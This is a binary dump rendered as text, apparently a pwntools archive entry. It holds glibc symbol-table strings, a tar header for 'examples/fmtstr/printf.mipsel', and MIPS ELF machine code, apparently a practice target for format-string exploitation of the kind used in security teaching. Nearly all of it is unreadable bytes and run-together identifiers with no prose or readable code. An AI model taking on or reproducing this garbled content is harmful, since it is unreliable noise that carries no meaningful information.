ld_search_dirsenv_path_listexpand_dynamic_string_token__PRETTY_FUNCTION__.9555fillin_rpathcache_rpath.part.8__PRETTY_FUNCTION__.9647dummy_bucket.9851__PRETTY_FUNCTION__.9833dl-lookup.ocheck_matchdo_lookup_x__PRETTY_FUNCTION__.9794__PRETTY_FUNCTION__.9822dl-reloc.oerrstring.9498msg.9504dl-hwcaps.o__PRETTY_FUNCTION__.8967dl-misc.o_dl_debug_vdprintf__PRETTY_FUNCTION__.9245primes.9296dl-profile.olowpctextsizerunninglog_hashfractionfromlimitnarcsptosfromidxfromsnarcsdl-tls.oallocate_dtvoom__PRETTY_FUNCTION__.9086__PRETTY_FUNCTION__.9144__PRETTY_FUNCTION__.9181dl-origin.o__PRETTY_FUNCTION__.8960dl-trampoline.o__dl_runtime_resolvedl-exception.olength_mismatch_dl_out_of_memorydl-cache.ocachesizecache_newdl-libc.odo_dlopendo_dlsymdo_dlvsymdo_dlclosefree_slotinfodo_dlsym_privatedl-error.ofatal_errorcatch_hookC-monetary.onot_availableconversion_rateC-collate.ocollseqmbcollseqwcstrtof_l.ostr_to_mpn.isra.0__PRETTY_FUNCTION__.10914round_awayround_and_return__PRETTY_FUNCTION__.10964nbits.11052strtod_l.o__PRETTY_FUNCTION__.10909__PRETTY_FUNCTION__.10959nbits.11047strtold_l.osdlerror.ofree_key_memkeylast_resultstatic_bufcheck_free.isra.0_dlfcn_hookssdlinfo.odlinfo_doitsdlmopen.odlmopen_doitstrerror.oprofil.o__profil_counterpc_offsetpc_scalensamplesotimer.7219oact.7218dl-runtime.o__PRETTY_FUNCTION__.9447__PRETTY_FUNCTION__.9515dl-open.oadd_to_global__PRETTY_FUNCTION__.10486dl_open_worker__PRETTY_FUNCTION__.10564__PRETTY_FUNCTION__.10504dl-close.oremove_slotinfo__PRETTY_FUNCTION__.10437dl_close_state.10450__PRETTY_FUNCTION__.10464dl-static.ovariablessdlopen.odlopen_doitsdlclose.odlclose_doitsdlsym.odlsym_doitsdlvsym.odlvsym_doitdl-deps.o_dl_build_local_scopeopenaux__PRETTY_FUNCTION__.9141dl-init.ocall_init.part.0dl-version.o__PRETTY_FUNCTION__.7756__PRETTY_FUNCTION__.7734dl-sym.ocall_dl_lookupdo_symunwind-dw2.oread_encoded_value_with_basebase_of_encoded_valueexecute_cfa_programinit_dwarf_reg_size_tableuw_frame_state_forexecute_stack_opuw_update_context_1uw_init_context_1once_regsizes.9042uw_update_context_Unwind_RaiseException_Phase2_Unwind_ForcedUnwind_Phase2uw_install_context_1_Unwind_DebugHookunwind-dw2-fde-dip.oframe_downheapframe_heapsortget_cie_encodingfde_unencoded_comparesize_of_encoded_value.part.3base_from_object.isra.4.part.5base_from_cb_data.isra.6.part.7fde_single_encoding_comparelinear_search_fdesfde_mixed_encoding_compareclassify_object_over_fdesadd_fdessearch_objectterminator.8865marker.8759_Unwind_IteratePhdrCallbackadds.9021subs.9022frame_hdr_cacheframe_hdr_cache_head__register_frame_info_bases.part.8object_mutexunseen_objectsany_objects_registeredunwind-c.o__CTOR_END____FRAME_END____do_global_ctors_aux_nl_C_LC_CTYPE__dup__getdtablesize__libc_sigactionstrcpy_dl_setup_hash_IO_link_in_Unwind_Find_FDE_dl_debug_printf_IO_sputbackc_IO_default_finish_dl_check_map_versions_Unwind_GetIPInfo__libc_argc__longjmp__ehdr_start_nl_unload_domain__mpn_impn_mul_n_basecase_IO_wdoallocbuf__getpid__strtod_internal_nl_load_domain__libc_multiple_libcs__addtf3_wordcopy_fwd_aligned_dl_important_hwcaps_dl_reloc_bad_type__mpn_impn_sqr_n_basecase_IO_fflush__mpn_extract_long_double_IO_wfile_jumps__init_misc__mpn_sub_n__wcsmbs_clone_conv__getdents__mpn_cmp__mbrlen__mpn_addmul_1__strnlen__gconv__printf_modifier_table__tcgetattr_dl_new_object__strtok_r_nl_default_locale_path__gconv_get_path__register_printf_specifier_nl_C_LC_NAME__tsearch____strtol_l_internal__libc_fcntl__gettext_free_exp_dl_load_cache_lookup__write__gettext_extract_plural__mmap__mprotect_dl_catch_exception__gconv_path_envvar_Unwind_GetRegionStart__add_to_environ__parse_one_specwc_itoa_word__tdestroy__rawmemchr__getcwd__mbsrtowcs_l__strtol_internal_nl_category_name_idxs_gp__woverflow__gconv_lookup_cache_dl_higher_prime_numberqsort__gconv_modules_db_IO_wdo_write__read_dl_strtoul_dl_init__gconv_load_cache_IO_switch_to_wget_mode__exit_funcs__gettextparse_IO_default_xsputn__mpn_lshift__TMC_END___nl_load_locale_dl_try_allocate_static_tlsperror_dl_addr_inside_object__gconv_find_shlib_nl_unload_locale__DTOR_END____libc_scratch_buffer_set_array_size__libc_dlsym_private__overflow__fini_array_end__btowc__mpn_mul__strtol_ul_max_tab_dl_non_dynamic_init__internal_atexit__mpn_submul_1_nl_current_default_domain__letf2__open__strtod_nan_IO_unsave_markers____strtof_l_internal__gettext_germanic_plural__wcsmbs_getfct__get_child_max_dl_protect_relro__strerror_r__wcsmbs_load_conv__mpn_impn_sqr_n_nl_C_LC_ADDRESS__mpn_impn_mul_n__current_locale_name__mpn_construct_float__strsep__new_exitfn__libc_alloca_cutoff__dcgettext_dl_discover_osversion_dl_signal_exception__strtoul_internal__ctype_init__getgid__lseek64__libc_read__fxprintf__libc_disable_asynccancel__gconv_find_transform__xstat64_dl_allocate_tls_storage__libc_realloc_dl_scope_free_nl_intern_locale_data_dl_lookup_symbol_x_nl_cleanup_ctype__libc_setlocale_lock_dl_close__unordtf2_IO_fputs__open_nocancel__gconv_max_path_elem_len__mpn_divrem__sigsetjmp_nl_find_domain_IO_file_close_it____strtod_l_internalstrrchr__libc_check_standard_fds__mpn_construct_double__setitimer__strtold_internal__readonly_area_nl_locale_subfreeres__dcigettext_dl_add_to_namespace_list__mpn_construct_long_double_IO_str_jumps__exit_funcs_done_dl_debug_printf_c__get_nprocs__isatty__fortify_fail_abort_nl_state_lock__profile_frequency__stpcpy__mmap64__gettimeofday__printf_fp_l__deregister_frame_info__openat64_nocancel_dl_init_paths__hash_string__gconv_open_Unwind_Resume_nl_current_LC_CTYPE__readdir64____strtold_l_internal__gconv_release_shlib_nl_C_LC_MONETARY__read_nocancel__fopen_internal__libc_register_dl_open_hook_IO_padn_IO_getline_info__parse_one_specmb__readdir_IO_stdout_dl_dst_substitute_fpioconst_pow10__gconv_close__wcrtomb__deregister_frame_info_bases_IO_flush_allstrstr_IO_adjust_column__libc_errno__correctly_grouped_prefixmb_IO_vtable_check__xstat64_conv__mpn_extract_doublestrncmp_nl_C_LC_COLLATE__run_exit_handlers__libc_malloc__libc_free_wordcopy_bwd_dest_aligned__opendir__printf_arginfo_table_dl_open__fileno__getegid_IO_wfile_jumps_maybe_mmap_dl_debug_initialize__argz_create_sep__strdup__gconv_alias_compare__cxa_atexit__wmemmove__brk_nl_Cmemcmp_IO_file_jumps_maybe_mmap__profil__mpn_add_n_nl_current_LC_NUMERIC____strtoul_l_internal_Unwind_RaiseException__sched_yield__strcasecmp_l_itowa_lower_digits_dl_get_origin_IO_free_wbackup_area__libc_malloc_initialized_dl_name_match_p__getpagesize__mbrtowc__dlopen_IO_free_backup_area_nl_C_LC_TIME_itoa_lower_digits__fini_array_start_nl_C_locobj__underflow__gconv_get_builtin_trans__fxstatat64_Unwind_SetIP__rewinddir_dl_random__abort_msg__get_nprocs_conf__gconv_release_step_IO_wdefault_xsputn__wmempcpy__wcsmbs_gconv_fcts_c__gconv_lock_dl_cache_libcmp_dl_relocate_object__init_array_endtime__wunderflow__uflow__register_frame_info_table_bases_dl_dst_count__assert_fail_nl_C_name_nl_find_msg__fgets_unlocked__memmem__lseek_nl_default_dirname_nl_POSIX_name__twalk_IO_getline_dl_allocate_static_tlsstrcmp__mpn_rshift_nl_C_LC_MEASUREMENT__libc_scratch_buffer_grow_preserve_nl_find_locale__mbsrtowcs__printf_function_table__multf3__wmemset_nl_C_LC_TELEPHONE__libc_enable_asynccancel_IO_setb_IO_file_fopen_dl_sort_maps__write_nocancel__qsort_r__clz_tab__mempcpy_dl_unload_cache__madvise__wcsrtombs_IO_file_doallocatestrcspn_wordcopy_fwd_dest_aligned__gconv_compare_alias_cache_libc_intl_domainname__gconv_path_elem__tens__getclktck_Unwind_GetTextRelBase__lxstat64__strtold_nan_IO_file_jumps__preinit_array_end__close_nocancel__new_exitfn_called_nl_finddomain_subfreeres_nl_category_name_sizes_dl_next_tls_modid__handle_registered_modifier_mb_dl_mcount_wrapper_check_IO_stderr__mremap__printf_fphex_Unwind_GetLanguageSpecificData__strndup__uname__gconv_read_conf__libc_dlclose__gconv_close_transform_dl_tls_get_addr_soft_IO_file_attach__libc_secure_getenv_nl_C_LC_NUMERIC_IO_file_open_dl_map_object_nl_archive_subfreeres__close__fxstat64__mpn_mul_1__getuid_itoa_upper_digits_IO_switch_to_get_mode_dl_fixup_IO_vfscanf_IO_do_write__fdopendir__strtof_internal_nl_locale_file_list__gconv_release_cache__sysconf__sigaction__gconv_compare_alias__tfind_nl_global_locale__strtof_nan_dl_dprintf__strncasecmp_l_IO_doallocbuf_dl_signal_error__stack_prot__strtol_ul_rem_tab__libio_codecvt__errno_location__closedir__libc_message_Unwind_SetGR_IO_new_file_init_internal____strtoull_l_internal__munmap__gconv_transliterate_IO_stdin_IO_wsetb_IO_wfile_jumps_mmap_nl_C_LC_MESSAGES_IO_vfprintf__wcsmbs_named_conv_dl_aux_init_itowa_upper_digits__assert_fail_base_nl_category_names__init_array_start__setfpucw__sigprocmask_setjmp_exit__alloc_dirstrspn__getdents64_nl_default_default_domain__libc_argv__lll_lock_wait_private__libc_dlsym_dl_show_scope__libc_write__fcntl__clearenvstrchr_dl_add_to_slotinfo__gconv_alias_db_Unwind_GetDataRelBase_dlerror_run__libc_fatal__get_phys_pages__sbrk__printf_va_arg_table_IO_list_all__argz_add_sep__libc_dlopen_mode__unsetenv_dl_sysdep_read_whole_file__preinit_array_start_nl_current_LC_MONETARY__openat_nocancel_dl_addr__get_avphys_pages__handle_registered_modifier_wc_nl_C_LC_PAPER_dl_catch_error_IO_un_link_IO_default_pbackfail__register_frame_info__pointer_chk_guard_local__sysinfo__wmemcpy_dl_close_worker__geteuid_wordcopy_bwd_alignedraise__towctrans_IO_file_jumps_mmap__libc_register_dlfcn_hook_dl_map_object_deps_nl_C_LC_IDENTIFICATION_nl_load_locale_from_archive__stack_chk_fail_local__isoc99_scanf_nl_C_LC_CTYPE_class_print__morecore_dl_runtime_pltresolve_IO_remove_marker_IO_wdefault_xsgetn_dl_vsym__malloc_hookgsignal_nl_C_LC_CTYPE_class_upper__gconv_transform_utf8_internal__default_morecore_IO_file_finish_nl_C_LC_CTYPE_width__fxprintf_nocancel__dlinfo_Unwind_GetIP__register_printf_modifier_IO_list_lock_fdata_IO_default_doallocate__strtoull_l_IO_new_file_xsputn_IO_least_wmarker_IO_default_sync__register_frame_IO_file_sync__strtoull_internal_IO_seekwmark_nl_C_LC_CTYPE_class_xdigit_IO_file_write_dl_find_dso_for_objectstrerror__gconv_transform_ascii_internal_dl_profile_output__gconv_transform_ucs2_internalstrtof32_Unwind_Resume_or_Rethrow__calloc_dl_make_stack_executable_IO_default_xsgetn_dl_exception_create__libc_stack_end_IO_enable_locksfileno_unlocked__stack_chk_guard_dl_debug_fd_IO_vasprintf_IO_file_seekoff_mmap_nl_current_LC_NUMERIC_used_IO_fopen64_IO_sgetn_dl_use_load_bias_nl_domain_bindings__dprintf_dl_initial_searchlist_IO_file_seekstrtold__new_fdopen_dl_profile_fixup_dl_mips_gnu_objects_Unwind_Backtrace_IO_init_markerc32rtomb_IO_2_1_stdout___register_printf_function__mpn_mul_n_IO_new_file_init__strtold_l__openat64_nl_C_LC_CTYPE_class_cntrl__posix_memalign_IO_flush_all_linebufferedstrtof32_l_IO_fclose__strtoll_internal_nl_expand_alias__getdelim__wcschrnul_IO_default_underflow_IO_funlockfile__mallinfo__gconv_transform_ucs4le_internal_dl_platformlen_dl_tls_static_used__realloc_hook_Unwind_GetCFA___printf_fp_IO_fwrite_IO_default_setbuf_IO_sungetc__dlsym__gconv_get_cache_IO_new_fdopen_IO_fwide_IO_new_file_close_it_dl_debug_mask_IO_wfile_overflow__libc_memalign__memalign_IO_file_close__malloc_trim__dladdr_nl_msg_cat_cntr_nl_C_LC_CTYPE_class_dl_load_adds_IO_2_1_stdin___gconv_transform_internal_ucs4__stop___libc_IO_vtablesstrtollstrtof128_dl_wait_lookup_done_dl_mcount_wrapper_dl_deallocate_tls_nl_C_LC_CTYPE_class_graph_nl_C_LC_CTYPE_tolower_dl_profile__dso_handle_IO_switch_to_main_wget_area_dl_tunable_set_trim_threshold__libc_csu_fini_nl_current_LC_CTYPE_used_IO_str_init_readonly_IO_file_seekoff__libc_init_secure_dl_count_modids__exit_funcs_lock_dl_nothread_init_static_tls__frame_state_for__tunable_get_val_IO_adjust_wcolumn__tunables_init_IO_str_seekoff___brk_addr_IO_file_setbuf_IO_new_file_fopen__libc_mallinfo_IO_new_fopen__gconv_btwoc_ascii_IO_fdopen__wcslen_IO_default_write_IO_file_close_mmap_dl_tunable_set_mmap_threshold__libc_tsd_CTYPE_TOLOWER__gconv_transform_ucs2reverse_internal_dl_tls_static_align__environ_Exit_dl_tls_max_dtv_idx_nl_C_LC_CTYPE_map_toupper_nl_C_LC_CTYPE_class_punct__sigjmp_save__stack_chk_fail_dl_static_dtv_dl_bind_not__libc_enable_secure_IO_wpadn_nl_postload_ctype_dl_static_init__gconv_transform_ucs4_internal_dl_auxv__libc_dlvsym_nl_C_LC_CTYPE_class_digit_IO_str_pbackfail_IO_wfile_xsputn_IO_default_imbuestrtoqmbrtoc32__libc_lseek64__dlmopen__tls_get_addr_IO_default_read__register_frame_table__sys_nerr_internal_sys_nerr_dl_platform_IO_iter_begin_nl_C_LC_CTYPE_class32_dl_get_tls_static_info__strtol__ctype_tolower_loc__after_morecore_hook__start___libc_atexit__libc_enable_secure_decided_dl_exception_free_IO_file_stat_dl_start__register_frame_info_bases_IO_wfile_sync__libc_pvalloc__strtoll_lstrtod_IO_vfscanf_internalrindex__tunable_set_val__guess_grouping__libc_valloc__strtod_l_nl_C_LC_CTYPE_map_tolower_IO_str_finish_nl_normalize_codeset_dl_tls_static_size_IO_default_showmanyc_dl_lazy_dl_debug_state__gconv_transform_internal_ascii_IO_str_overflow__malloc__malloc_fork_lock_parent__start_IO_file_xsgetn_IO_cleanup_dl_argv_IO_default_seekpos__free__dlclose_Unwind_DeleteException__fpu_control__gconv_transform_internal_ucs2_IO_new_do_write_IO_file_underflow_nl_make_l10nflist_IO_no_init__strchrnul_tens_in_limb_IO_file_overflowstrtof64x__libc_open64_IO_str_init_static_dl_tls_dtv_slotinfo_list_dl_tunable_set_tcache_unsorted_limit_dl_allocate_tls_init_ftext__progname_dl_sysinfo_map__stop___libc_atexit_IO_new_fclose_IO_iter_file_IO_flush_all_lockp__lttf2__libc_init_first_dl_inhibit_cachestrtof128_lstrtof64x_l__GI___getrlimit_dl_tunable_set_top_pad_IO_fprintf_nl_explode_name_IO_vfwprintf_IO_wdefault_doallocate_dl_tunable_set_perturb_byte__malloc_fork_unlock_child_IO_marker_delta_IO_file_underflow_mmap_IO_sungetwcprogram_invocation_short_name_IO_str_count_IO_file_underflow_maybe_mmap__pvalloc_nl_C_LC_CTYPE_class_space_dl_check_all_versions_dl_tls_dtv_gaps_IO_file_xsputn__start___libc_IO_vtables_IO_wmarker_delta_dl_hwcap2__GI_getrlimit__libc_mallopt_IO_default_stat_IO_new_file_sync_dl_tunable_set_mmaps_max_nl_C_LC_CTYPE_toupper_IO_marker_difference_dl_phdr_nl_remove_locale__syscall_error_IO_file_init__libc_close__getrlimit64_dl_nns__libc_csu_init_dl_scope_free_liststrtoull__bss_start__libc_open__gconv_transform_internal_utf8_IO_default_uflow__strtol_l_dl_start_profile_dl_origin_path__wcsnlen__malloc_info_nl_current_LC_MONETARY_used_sys_errlist_IO_new_file_finish_dl_tls_generation_IO_new_file_attach__fortify_fail_dl_clktck__xstat_conv_dl_dynamic_weak_IO_vfprintf_internal_dl_tunable_set_tcache_max_dl_mips_platforms_IO_least_marker_IO_switch_to_wbackup_area_IO_list_resetlock_dl_tunable_set_mallopt_check_dl_call_pltexit__dlvsymllseek_IO_wdefault_uflow__gconv_get_alias_db__memchr__malloc_check_init__fopen_maybe_mmap_dl_rtld_di_serinfo__libc_openat64_dl_sysinfo_dso_nl_C_LC_CTYPE_class_alnum__deregister_frame__dl_iterate_phdr__register_printf_type__dladdr1strtof32x_l____strtoll_l_internal_IO_new_file_setbuf_IO_wfile_seekoffstrtof_IO_wfile_underflow_IO_init_wmarkersetlocale__libc_tsd_CTYPE_B_IO_file_read_nl_C_LC_CTYPE_class_blank__libc_setup_tls___asprintf__strtof_l_dl_tunable_set_tcache_count_dl_init_static_tls__fcntl_nocancel_Unwind_FindEnclosingFunction__strsep_g_IO_str_init_static_internal__wctrans_dl_stack_flags_dl_mcount__libc_lseek_IO_fopen_IO_wdefault_finish_IO_new_file_write__ctype_b_loc_dl_init_all_dirs_dl_allocate_tls_dl_tls_static_nelem__gconv_get_modules_db_IO_sputbackwc__opendirat_dl_tunable_set_arena_max_IO_unsave_wmarkers__libc_tsd_LOCALE_IO_list_unlock_Unwind_ForcedUnwind_edata_dl_load_lock_GLOBAL_OFFSET_TABLE__fitoa_wordstrtof64_lstrtof64_IO_getdelimstrtouq__new_fclose_dl_fpu_control__wuflow__libc_calloc__curbrk__vfwprintf_dl_verbose_IO_default_seekoff_dl_phnum_flushlbf_dl_exception_create_format_dl_profile_map_IO_switch_to_backup_area__dlerror__free_hook__gconv_transform_internal_ucs4le__libc_tsd_CTYPE_TOUPPER__malloc_usable_size__openat__strtoul_lDW.ref.__gcc_personality_v0__fprintf_dl_hwcapstrtof32x_IO_wfile_doallocate__open64_nocancel_nl_C_codeset_dl_initfirst_IO_str_underflow__ctype_toupper_loc__funlockfile_IO_stdin_used_dl_load_write_lock__sigsetjmp_aux_Unwind_GetGR__libc_start_main_IO_init_internalprogram_invocation_name__malloc_fork_unlock_parent_IO_init__strtoul__gconv_transform_internal_ucs2reverse_nl_C_LC_CTYPE_class_lower_dl_all_dirs__setenv__realloc_IO_iter_end__mallopt_quicksort_IO_new_file_underflow__data_start_dl_sym_IO_default_seek__tdelete_r_debug__malloc_stats_IO_wdefault_pbackfail__sys_errlist_internal_dl_osversion_IO_new_file_overflow_IO_new_file_seekoff_dl_tunable_set_arena_test___vfscanf__open64__register_frame_info_table_IO_file_setbuf_mmap_fbss_dl_make_stack_executable_hook_dl_inhibit_rpathaligned_alloc_IO_vdprintf_dl_correct_cache_id__new_fopen_IO_iter_next_dl_pagesize__valloc__memalign_hook_IO_2_1_stderr___progname_full_IO_switch_to_main_get_area_IO_seekmark_nl_C_LC_CTYPE_class_alpha_IO_old_init_dl_ns.symtab.strtab.shstrtab.MIPS.abiflags.MIPS.options.note.gnu.build-id.rel.dyn.init.text__libc_freeres_fn__libc_thread_freeres_fn.fini.rodata.eh_frame.note.ABI-tag.gcc_except_table.tdata.tbss.fini_array.ctors.dtors.data.rel.ro.data__libc_subfreeres__libc_IO_vtables__libc_atexit__libc_thread_subfreeres.got.sdata.sbss.bss__libc_freeres_ptrs.comment.pdr.gnu.attributes*p * p 284 4$K 4 4Tp6 p6Z7 7c` rp p L` `PL PL >  Е Е x x   @        @I    HH H !0 0 /8 8 H@ @ xM  T  pZ0  _ /  (s0 *| fo~ ~ h" % a Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf.mipsel000077500000000000000000024430401507273764500240660ustar00rootroot00000000000000ELF@4X@ p4 (%$pXX@X@ppp@p@@@  DDIDI>L44@4@ @@$$II0RtdDDIDI''GNU JGNU*f}x)@] ;} <'!'4@4 K<'0<9' K<'4p*9'  ''H$ !h(%($b!q % @l& pd$g$ GD%`E$c$b@$P&%¬@%&$$C5`%@$C%B@P&&#(%@&@"B<9'lQ%(@@6B&%`$$%`$lIK% Bx@}%|$#K<''$%C$ C$ C% l$K '   % lK 'K<''0%4,($ ?$!q& %&%!P$%`dB$Fc$d I$@s&!PTU&Pq&s&P40,($ 8'&!P& % P%40,($ 8'dH$@@UK<''G<G<8L''%0@%B\@&$$G<%@B$$%4G< @B$  L8($!$BD$8% G< A$! !D7E,!(TG<@B$!bDG<,<@B$!C$#C!"0BG<(>$!(($4$$1&&!bDB$7C,`!Tce$!CC`<1&"$8($ 0lJJ% 0% c$  ('$#@'"$%D& @%&$$!7b,@$!tBF$4! @&B$! + <#,'R.C@1&B$d'$'R, R@%! d@ H$@%@@%(%0RW% @$i&$H"!H%0 GW% %H@ ,l% I,&s&!!1&+`!1% $$!0ƌ%$GC$%K<''$0%,%(%4`$$ $2@B< % @$SR QC$ B(@%4%0,($8'$ B(@$$$%8$ 4%0,($8'9'Eb% J<,0$K<;|''@<؃z9'$!CB$('K<;|''@<؃%8z9'$!CB$('K<''0%(%<84,$ ~%%$c%,a@Pc4D@!B B0 @%`&@!B B0@`-$ob+$b%0$ $$%%HD%LHD@<840P'0%(%0` % @܏%@C<,79' ܏%@􃂏;|$!CO$C4+@&&d=% ܏@%@$'$B<'P9'%0% @sO$P܏lx?% ܏^0%0`%( % @܏%@K<'',@D840("$3؀%@'B0@ ;|Hpr$ R`$$ $/@B% ,% ($ 0'A@%@8B$&HJ<%0B$%(% JD$DG< +%^@#.1@D'%0H%#4+U@< D'#R@($􃄏 X@L$$4PT/\,(&,%)&0$4%8$ $tD'8# 4!~0+8D %(% %0@G,% @8,0!4%8@"%0`" Y %( @# ( ! (%  %0 #8WT# %0 4;|% `􃃏$!dX$d 4$) dlA:$$CE$9K<'ŒE<$ '%($C$$ $,9'%(%%   R0 @ 0`!";|%0`􃃏 $!fc e!"%,%D$( 0'% `,$%D( 0'%%K<''04,%4#C##+b@H@9 % `PT40,8'A< 9'$ $$$B#@* h|%%@%0 %8@#+S@A<$@ % %`%@$%@% #+S@A<8 #0$%  ($/* $C##+#r$@%+R'@#b#Ÿ+#cP$GDT!B!c+2!sa% 􃄏;|$$! $4B0CAh@ t% %0  8#%@!B0@T% D%@@<840,($ H' #5+T@ %(89 % @D@#^c40#0/%G% SD#^<%@@840,($ H'$l*$$DAB<9'\>WK<'' $ B0$%%,%( GC#+@%#d@%%+P %(`t%@6%0@!r#"!T @4#,($ 0'44# #C+P@A< $ % $-C# "#CC,`%@@B#B%%0+@,%($ 0'% ##d+F@!+(  $fc$ $ecc$%@$,%(`h0 % +T`#B#A% @%`B< 4D9'<%@%9'q$8$Mb'K<;|'$%0(% `,$4 $8$4􃑏! $#8fP#FT $e@c4+'@$%0$%8$y % $ D;|4!#0%$2,(8'b;|!#$BC4%0,($8'A<9'!$%%'h0 %&+# ''K<$'$ 8B"$B0RC%%A<9' % < B0<@%l@A<\ B@E<9' % E<%8%0%(L9' % \@@@@ @@A< Q%8%0%(9']% A< % l9'8$$P $C$$@41? % 9'l.@$$lK<''B0%$ B@+ C5D0$0'@< % 6@4# ##C+8@A<9% $  ('C$,$ $G+, @$0@$@41? % C$B$ ('> $C$$$ ('9'y'K<(%,'C0 `l ,B4(0'$ ! $ ,$$C(0'@K<''C0%$ `l`4G$H$B4 $ ('4# ##C+@A<49 % $CG&H&C0`lI!9'49$K<'' 4%$#C##+b@9 % $C$C$B$ ('A<9'9SK<''0,4A<(%$& %%<%84#DC+ @#d+q 7b,@%`'`!(#7 <W#+T*@%% @ &$ C1&t%(%0`-!B#q<%`840,($ @'%&B$C! D%K<''(4,#C#+b@ ,( 0'A<$ 9'x$  ,( 0''K<'$$0,%(%%4% + `#E+U %@B,@t ! #4r? % R#4%0,($ 8'%`$B$C!q% `|-%0 %@!qK<'' 4(%$%#C##,+b;@%09 % $;C`@C4$!r$CB0$@lc4  C4G&H&B0@lc4 % ,($ 0'  A<9'09%K<''044#C#+b @H$ 408'A<(,9'$(,$K<''$% $,d(@ Q$e0 l,$$$d ($0',$($0'J<( b @J<$PB@( d<Cc4<C4B@J<<( C<%(`$<H 4$(,0@D@@@'/B $ '`l\'/B $ '`l\'/B %@l0\  $(ର` '$\` '%'K<%'B0@l0@@B@$lC$B0 @ '8 % V= '$$K< ''+C$,%(@d0c$4# ##C+@A<9 % $C,$$d,($0'09'K< ''+C$% @b$b$$ $d('4# ##C+ @A<9$ % $C$ ('9'9!H+8 ( $ #% $gc$c$!##b$K<''`8XD%d\XTPLH@B<A`, 0;|Hpc$ C$$ $b@Hc$B0)SB0@HB$+@4, BB$9@B%( ,'<Nbd`\XTPLHD@h'B0S#v+U7@ y$ % $ B(@$$%8$ 4A<0B$z,@0 $0 B(@$% @$%8$  $$9';% @p $$D;'C0 $%`B0 @ $#b00 ('$#b00 ('% > 0C `d 0C$%@b@b#b`e0bc#C#C c#C#C$'dbF0  d$f $g,h$I$d% bh,g f! %dd,fB4 g$h,d% ! bf% h$gd$0@0$@1?'K<('$ %%40, +&`b2@"&"VE$K@d< %( @$,$s6, $"&2B240,($ 8'@d#t@o% /@%@#%0`!Q%((% % lF!"& (2$ @% ,s6 "&,$2dG$@C$% (%`1&$$$$$%$J<PB%4%'$ ;|JbG!$<T$+ T+/@B`,(`<,L`$J<#`$$! $5@B@%b0$%H`@%(`p1:@1$v$T%%#%%%(@%X@Nej0'0,',c$eE$#E@$$!@!i0%e#E @%!0#h#E@$!(d%ltx'h$ $$#xX $EY$`(S%(b$ #%#%%DiEkX'XT'Tc$eE$#E#%%zJ('($'$c$eE$#EB$%`EP'PL'Lc$eE$#E%#%%GJk@'@<'<c$eE$#E% Je8'84'4c$eE$#EB$#%%D*Ekh'hd'dc$eE$r#E% DEk`'`\'\c$eE$c#E`(%P`%(%`(%P`%(%%P`%`(%P`%(% D`% j( %(B$c$%%  j$c$@4L$&@6@4D$$-@;$$ $@2n$0tK<''F<409'L,@܏4'(ǯ $,ȯ9'/% 4ď܏,ȏ(Ǐ$*  D&$$$o$$"@$ $p&DK<''(#$% d&%,dB!@D$%0`%(@#2y%@B+%`% -`!0$% % $c$$nΠ,$,B0$$0$#TQ0 B<0+B+@b,@%!  $ m$B$c$Fb,@$⑁B,@0$$1$ R`0 B<0+B@$%B$c$DQd#EÌ$$d%b¬@)`$c0/``'G`@!$@֯% (%`d2\&+@+`@\ŽE,f$d`d&`\%GE$,E0$B0!@+(($%H`#$xk?c0$%b)%%(JD!gc$bD`D<@$%@+į CBc$B0@ C+?@(B8 PP'%840(, $)C P]@ԏLV% %į$@%\cH|xtplhd`'!Cc,`%$$@@$%ƏI#@&@C$c,`(>C$c,|`$$$B0$+ `į$?c0į%b#c$!(@%8!e'@b"$!@+((nB0+q@$bJ#8$$$b$btJ$$%#r$+j``(G<B@@@@@@@@BB0@B<%B! $B$'bCf0 @T'G<i"m$!($0T$+(,!(?*1%PG,I &+ gb$TT'% !P%H%T+(J%$$,ITd-U'ˮbB0# *(D# L%!ԯ`,LP!CV<Mdԯ&+`%x $ $$1$$ $%%x|4%+-`e,&>e$,Be0$c0!@+(($%H$$`N?0$%)%%(D ! $ D! d,% E0$B0ԯ Cc$ Cp$%(`<`@% `ԯGn%-X!h $e1! +HX  $U'$$))%%(7Ik%f$h?0+0*2$<}$1z%0! %8$*Ŭs@+`$cj&#(4$$ d{$c$% |$<vE0$B0D0$B0$$%H@$)F0 !0$0<($!0,$ŮL$e1!e1 $U'+(U$0$V'$+8#H%PG$8$<<($! ,V'ŮbB0$e1e1 $Z'9G<#(@b%!B,ԯ!@f$$$k1+ @@%@Y %?B0%XK# !(@%0!Ef$@XKke1$k1$G%@K<h''%D8|% $@%%xtp 4D<b$0B1l@Pb@,iu  \\'<!@%@x0o,`d^@%x $h'!`%G$B$$#F!B+@"%+,@h'~$R2@$R1@C<21C<`! #r4#(d#D+@A<y%0 %(` % K"܏T¯@Ï`8ÏVl B0+ DD$1& $D` $t%r $`E<%D%`%p%@% $9'%0`T% S܏E<Q@lՐ% `K0܏B<ď$xï'9'ɯ%X@ɏ;@xÏS$$_bB@ $~Z@ $)%ŽÎ+CN`C$î $C!gJ`#7_ ďÎ#u+D@A<y%0ǯ%( % Ǐ0܏ $D%x%hpʯ $x˯9'%0sK% U0܏% -܏-$<9' % B$܏B,#0X Ï%!PKDc$B$dƏ#0* FJ%Ư`Ï@ď$@įE<9'@% B$܏B,@R&h$$ŏ®K-$g$H'%@%&\.`db+)@$$fB, @& " B0@ `E< $9'%0<% V! %s40,($ 8'!CBB,KzL>} AB8<'4B,0$% %0%( %$C< '8$A8@,9'%(% '8%P@4+<$(@,' ! 0$ %'0!0FB$EJ%E'  !h<1$$#0$U~ $,%%$ $$0$!b0$@&ŽC'$#*`% "!Ne0$,c$d0$,$c$d0$%* BD$B0F$F$Fc(`% 0%% :`%\@-$DC+`$R&C-$7P0@%@0@Z`\@+$DC+q`$R&C+$ H<05&5'@%@00S`\d@ $DC+s`$R&C $%&'+b<9' @$b$e# !&+b@,0(%  $($G, $ $%0~;%  $9'%0 ;% +b1@+$b$R&+$b%=% B$B,;|%8`ă@0!gb!FBB0@H% <%`0%p# 0$%099% ^$!B%=`$\H@E<FD+ C$$H,Ŭ@$+$-$` (C\=@E<FD+ 8$^&DŬ8@!E<R&DC+`$$Fb,@' &\@%@;% B$B,% " B0z@0$%wu`E<%08% `j!@`\@E<ED+ $D $+@$-$%0<,@mE<%0@%$+]@$$+$-$ (C+b^@b$$e8@(A<8(!C܏$"Ï!bpÏ`TÏBg@w%x@ $\@(ُED+ $D%$@vs&\&@DE+(!$E $܏%tя %􃂏;|$!CO$C%x $Fb%%%6 $B%P%x@'WDND%(Rw $!"BO@dïxƯ!B|ǯȯBB$#'Ž!H!H"9 %(܏ȏ|ǏxƏ)dÏ$")) H%(@&s&!$ b!s 